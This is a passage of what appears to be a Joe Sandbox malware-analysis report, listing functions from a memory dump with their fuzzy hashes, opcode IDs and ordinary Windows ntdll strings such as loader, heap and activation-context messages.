                                                          • Opcode ID: 996229d02bde2e4fd1ff676d068d84e263570f6d78f34804ff585480929635c4
                                                          • Instruction ID: 0de9891d78a8b976d03b8bdd21cd43d3b01be9de99e8bf7ba7a88afacb883729
                                                          • Opcode Fuzzy Hash: 996229d02bde2e4fd1ff676d068d84e263570f6d78f34804ff585480929635c4
                                                          • Instruction Fuzzy Hash: 474166B5A01609EFEB15CFA8C940AEEBBF6FF98314F108159E405A7250EB35AC41DF94
                                                          Function 34725180 Relevance: 3.9, Strings: 3, Instructions: 114COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Leaked Block 0x%p size 0x%p (stack %p depth %u)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-964947082
                                                          • Opcode ID: 8e9a7fad9cf94012945fa1075ccc19816b7511bdd3ac327397a270f9f8dde1f0
                                                          • Instruction ID: 136db41e2882614a4a8762eccba296448617978442550c49280327a2e872514b
                                                          • Opcode Fuzzy Hash: 8e9a7fad9cf94012945fa1075ccc19816b7511bdd3ac327397a270f9f8dde1f0
                                                          • Instruction Fuzzy Hash: BA419EB5601394EFEB50CF558A80AAA3BEAEB44394F40416EE901AF391CB34E845CF94
                                                          Function 346A33A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() passed the empty activation context data, xrefs: 346E29FE
                                                          • RtlCreateActivationContext, xrefs: 346E29F9
                                                          • Actx , xrefs: 346A33AC
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                                          • API String ID: 0-859632880
                                                          • Opcode ID: 84c930f8015973bbdcb9f2733765968d49a65a69126b0d8e4817bf67dc3bc7e5
                                                          • Instruction ID: 5364d3cb0dab4f3a2fc54d396b9b3b27fe0eea7efa1d38463d18964fe2f3ad08
                                                          • Opcode Fuzzy Hash: 84c930f8015973bbdcb9f2733765968d49a65a69126b0d8e4817bf67dc3bc7e5
                                                          • Instruction Fuzzy Hash: C53144B2600705DFEB22CF98D894BAA77A5EB84720F414469FD059F286CB30EC85CB90
                                                          Function 346FB594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • GlobalFlag, xrefs: 346FB68F
                                                          • @, xrefs: 346FB670
                                                          • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 346FB632
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                                          • API String ID: 0-4192008846
                                                          • Opcode ID: 9d20acc31f8eb94f70535a7cd88d740d1196936d11bce7b4fb34bc8c481e3b2d
                                                          • Instruction ID: 49cd967c51fe682befeb25f1a57137fc6f80ff6ef3793b89628e082fd346ab35
                                                          • Opcode Fuzzy Hash: 9d20acc31f8eb94f70535a7cd88d740d1196936d11bce7b4fb34bc8c481e3b2d
                                                          • Instruction Fuzzy Hash: B0315AB5E00209AFEB00DF95DC84EEEBBBCEF44744F40046DE605A7150D7359A04CBA4
                                                          Function 347113B9 Relevance: 3.9, Strings: 3, Instructions: 101COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$OsBootstatPath$\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control
                                                          • API String ID: 0-1050206962
                                                          • Opcode ID: 911dccc7298a4c156561a570b8559a2457600279d47066d9f134462aa21f9774
                                                          • Instruction ID: 9847419c694861c5701adea3c22de2983aebf470609b71cc0f456275d77e9d4b
                                                          • Opcode Fuzzy Hash: 911dccc7298a4c156561a570b8559a2457600279d47066d9f134462aa21f9774
                                                          • Instruction Fuzzy Hash: 65318EB2D00219FFEB11DF95CC84EAEBBBDEB48A58F410465E904BB210D7349D448BE5
                                                          Function 346A1607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • DLL "%wZ" has TLS information at %p, xrefs: 346E1A40
                                                          • minkernel\ntdll\ldrtls.c, xrefs: 346E1A51
                                                          • LdrpInitializeTls, xrefs: 346E1A47
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
                                                          • API String ID: 0-931879808
                                                          • Opcode ID: 010298c23e83d438934012c4909cd86d020ba9d07c1c0366d7c25dcb4a5e2ccf
                                                          • Instruction ID: 6e7483eb3153287ceae6920ed1b863e1bc255ed1398f6dc9fe350419bdd2e4f0
                                                          • Opcode Fuzzy Hash: 010298c23e83d438934012c4909cd86d020ba9d07c1c0366d7c25dcb4a5e2ccf
                                                          • Instruction Fuzzy Hash: 4731D1B1B00705EFF7108F48C985FEA77AEEB507A4F080159E500FB290EB74AD45AB94
                                                          Function 346674B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: RtlValidateHeap
                                                          • API String ID: 3446177414-1797218451
                                                          • Opcode ID: c48b9b40d684b4adc9854d7e91781a6dae9106ee00752b16376b330c92c6d79f
                                                          • Instruction ID: b9cf3ff238932908cccb2f3e1b0853fc78703c53051632c898783e30c1876b7c
                                                          • Opcode Fuzzy Hash: c48b9b40d684b4adc9854d7e91781a6dae9106ee00752b16376b330c92c6d79f
                                                          • Instruction Fuzzy Hash: F0410276B00345DFEF02CF64C8907ADBBB2FF94215F048299D4525B281CB389D01DB96
                                                          Function 3471705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: kLsE
                                                          • API String ID: 3446177414-3058123920
                                                          • Opcode ID: 2c061b787e70f03ce8fbeae4cc37fb0c6e963cbf883c6dfe14cd53fc49f8ea0f
                                                          • Instruction ID: eaf9f19200b9a9c2b2eade950c8674bfc315f16c505570cc97ed9c80adf3d858
                                                          • Opcode Fuzzy Hash: 2c061b787e70f03ce8fbeae4cc37fb0c6e963cbf883c6dfe14cd53fc49f8ea0f
                                                          • Instruction Fuzzy Hash: 7641F3B1501351DBF7219F60C888BE53B97EB41764FA4065DEC50AE2E1CBA84886CBA9
                                                          Function 346852A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$@
                                                          • API String ID: 0-149943524
                                                          • Opcode ID: 37adbdf5b8465b9faa87807ec3f50074a67a5ec8f24ae430452eb74124e5efda
                                                          • Instruction ID: 9163b5f9db51c645955434a383f7c5bdda73cfafcb45ffd2d8eb97faf994aa46
                                                          • Opcode Fuzzy Hash: 37adbdf5b8465b9faa87807ec3f50074a67a5ec8f24ae430452eb74124e5efda
                                                          • Instruction Fuzzy Hash: 9832BEB86083118FE764CF14C4A076EB7E5EF99784F50492EF9859B2A0E734D984CB53
                                                          Function 34675702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: a7540bb5fc8e4ffcc470752886da8541c1a3dfef6519a7b4129639a35690e26a
                                                          • Instruction ID: aceacff75ee054f20ee2e399ad76310da03e201ccf177c9668ac93ddbeebe301
                                                          • Opcode Fuzzy Hash: a7540bb5fc8e4ffcc470752886da8541c1a3dfef6519a7b4129639a35690e26a
                                                          • Instruction Fuzzy Hash: 2D31BE35701B06EFEB858F64CA90A89FBAAFF48398F405065E90087E50DB70F821CBD5
                                                          Function 346A5CC0 Relevance: 2.7, Strings: 2, Instructions: 241COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$TargetPath
                                                          • API String ID: 0-4164548946
                                                          • Opcode ID: 8a737a70cdd91cf67085734649a319f20367049c25a95574fbcfdfc4a82d34a6
                                                          • Instruction ID: 2fb74922b36b81e28281c82c63aa68b65b82f59e4998bb29537fe68c3556d970
                                                          • Opcode Fuzzy Hash: 8a737a70cdd91cf67085734649a319f20367049c25a95574fbcfdfc4a82d34a6
                                                          • Instruction Fuzzy Hash: DB810DB5905706EFEB10DF18C894A6BB7F8FB94758F41892EE8459B210D730DC89CB82
                                                          Function 346FBC10 Relevance: 2.7, Strings: 2, Instructions: 234COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: \REGISTRY\USER\$\Software\Microsoft\Windows
                                                          • API String ID: 0-4122831824
                                                          • Opcode ID: 4593b59964315ebee30d2c308e653ec36e79cd134ea64c06f0a1308deff6f1ea
                                                          • Instruction ID: e028a8a3591ca5bf36bc291e8e9288d7b19a898be684403fc8d33c290fee1b6b
                                                          • Opcode Fuzzy Hash: 4593b59964315ebee30d2c308e653ec36e79cd134ea64c06f0a1308deff6f1ea
                                                          • Instruction Fuzzy Hash: E191AEB5204701DFD710CF24C884BABB7E9FB88B64F100A2DE5A5C7290EB35D945CB56
                                                          Function 34667CD5 Relevance: 2.7, Strings: 2, Instructions: 160COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @[v4$@[v4@[v4
                                                          • API String ID: 0-1966832869
                                                          • Opcode ID: a67a3fbe17154402e1e69b059bbbd7097f11746ed8933589e87801cb46ef781d
                                                          • Instruction ID: f62966dd9220ce6f84504231366b32df7605b451b17b89bba70e8720a4725e8c
                                                          • Opcode Fuzzy Hash: a67a3fbe17154402e1e69b059bbbd7097f11746ed8933589e87801cb46ef781d
                                                          • Instruction Fuzzy Hash: C3519DB1105742EFE721CF25C840B2ABBE8FF50658F104D1EE49A9B250E739E845CBD6
                                                          Function 3468F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$$
                                                          • API String ID: 3446177414-233714265
                                                          • Opcode ID: 6b6d2914f43009fb2f527b47e78364494945b9b28037a1937264f4e6c80a3045
                                                          • Instruction ID: edb68b4e3ef45ad4d580a35f125e19fb96f912fed329f42d8ffb7fc3eea93996
                                                          • Opcode Fuzzy Hash: 6b6d2914f43009fb2f527b47e78364494945b9b28037a1937264f4e6c80a3045
                                                          • Instruction Fuzzy Hash: 2D61DEB1E00749DFEB24CFA4C580B9DB7FAFF48308F104469D519AB680CB78A945CB95
                                                          Function 347035BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                                          • API String ID: 0-118005554
                                                          • Opcode ID: 170cc1da3765b8d41a48babd47e99230f7792868a2ea7bbf4c953f5a3278d823
                                                          • Instruction ID: 15fd06e42cf7317bc6b2546c9f53fe5f3a3da7dd7ad39c3664a55fb17f5eec36
                                                          • Opcode Fuzzy Hash: 170cc1da3765b8d41a48babd47e99230f7792868a2ea7bbf4c953f5a3278d823
                                                          • Instruction Fuzzy Hash: 0631BA7520A7419FE301CF69D854B2AB3E9FF89750F00486EB884CB390EB71D805CB96
                                                          Function 346A329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: .Local\$@
                                                          • API String ID: 0-380025441
                                                          • Opcode ID: c4d4cf7445f3fc847353cc50c8da48f7086476c8beafc3e788f5f41bf57f6021
                                                          • Instruction ID: 4f9b08797c3cab8c6167d4639a1473f84cf8376c9bfffef385f07f1b642abe7e
                                                          • Opcode Fuzzy Hash: c4d4cf7445f3fc847353cc50c8da48f7086476c8beafc3e788f5f41bf57f6021
                                                          • Instruction Fuzzy Hash: C3319EF660CB44DFE311CF29C980A5BBBE8EBD5694F40092EF99483210DA31DD448B92
                                                          Function 346A34B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 346E2A95
                                                          • RtlpInitializeAssemblyStorageMap, xrefs: 346E2A90
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
                                                          • API String ID: 0-2653619699
                                                          • Opcode ID: 152644e8e1e8c26517d0e3a0d165b23d7d3e604dcd1b4338510844b25090ef76
                                                          • Instruction ID: bed236ac53a51f5df91ca0d32cfc8a78aa3bfcbd2fac34894a91b6f28ed35a0c
                                                          • Opcode Fuzzy Hash: 152644e8e1e8c26517d0e3a0d165b23d7d3e604dcd1b4338510844b25090ef76
                                                          • Instruction Fuzzy Hash: E31106B6B01304EBF7298E88CD45F6A76EEDB94B54F14806D7904EB240DA74CD4096A0
                                                          Function 3469B2C0 Relevance: 1.9, Strings: 1, Instructions: 629COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @[v4@[v4
                                                          • API String ID: 0-1201398778
                                                          • Opcode ID: e6d9e8fce1ca0a66b02817642c3bc7d2d980f00eab3f122e9384dc886d5032a6
                                                          • Instruction ID: 05bea5f4be094f631ffbc260665331901d487dc75b0b0653d209f3be7f193c8b
                                                          • Opcode Fuzzy Hash: e6d9e8fce1ca0a66b02817642c3bc7d2d980f00eab3f122e9384dc886d5032a6
                                                          • Instruction Fuzzy Hash: D1327AB5E00219DBDF14CFA8C890BEEBBB5FF94B54F14002DE805AB290E775A901CB91
                                                          Function 347431E1 Relevance: 1.8, APIs: 1, Instructions: 281COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • @_EH4_CallFilterFunc@8.LIBCMT ref: 34743356
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CallFilterFunc@8
                                                          • String ID:
                                                          • API String ID: 4062629308-0
                                                          • Opcode ID: a3bdf2084918107a7f61f3cb105cb7e8fcf8b4830391471f158a3ea68ab463e0
                                                          • Instruction ID: 2078ffbe74d4f7384fc38ced9984d6eca95f9b2d7934f9c45ced54015c27379d
                                                          • Opcode Fuzzy Hash: a3bdf2084918107a7f61f3cb105cb7e8fcf8b4830391471f158a3ea68ab463e0
                                                          • Instruction Fuzzy Hash: 7DC115B5A017198FDB60CF1AC9846A9FBF5FB88314F9081AED54DAB750D734AA81CF40
                                                          Function 34671131 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 12eeba736247d36750766b0157c6e2aca194d80ea9eb7ebac922aab568707cc7
                                                          • Instruction ID: 0fb950d3977decbcba706add484cb09394c5f066c5ebd5eb96b23b000f7991f0
                                                          • Opcode Fuzzy Hash: 12eeba736247d36750766b0157c6e2aca194d80ea9eb7ebac922aab568707cc7
                                                          • Instruction Fuzzy Hash: C9B101B56083408FD354CF28C480A5ABBF5FF88304F548A6EE999DB352D731E985CB86
                                                          Function 34677370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 66b25004a63c6a69dc729ff63305eb821a645cad2a191f966ea17377394ae5fe
                                                          • Instruction ID: 0f9b292ddcfe8cc35911b631432651f12895d950b8a77833a7c0d4050c1db217
                                                          • Opcode Fuzzy Hash: 66b25004a63c6a69dc729ff63305eb821a645cad2a191f966ea17377394ae5fe
                                                          • Instruction Fuzzy Hash: 21A18A75608342CFE310CF28C480A1ABBE6FF98345F20492EE5859B354EB70F945CB96
                                                          Function 34677703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c7f72a38275c2cec5417cdf93238e7d36bb23e78cd003efa135c6aebb8cb3a54
                                                          • Instruction ID: 690ee9bb13b82789b8ce5505fe12b5312a8acb1a78cf1df98c6dd3d16396dbb0
                                                          • Opcode Fuzzy Hash: c7f72a38275c2cec5417cdf93238e7d36bb23e78cd003efa135c6aebb8cb3a54
                                                          • Instruction Fuzzy Hash: 39613D75E00606EFEB08DFB8C480A9DFBB5FF98240F24826AD419A7350DB34A941CBD5
                                                          Function 346AF603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
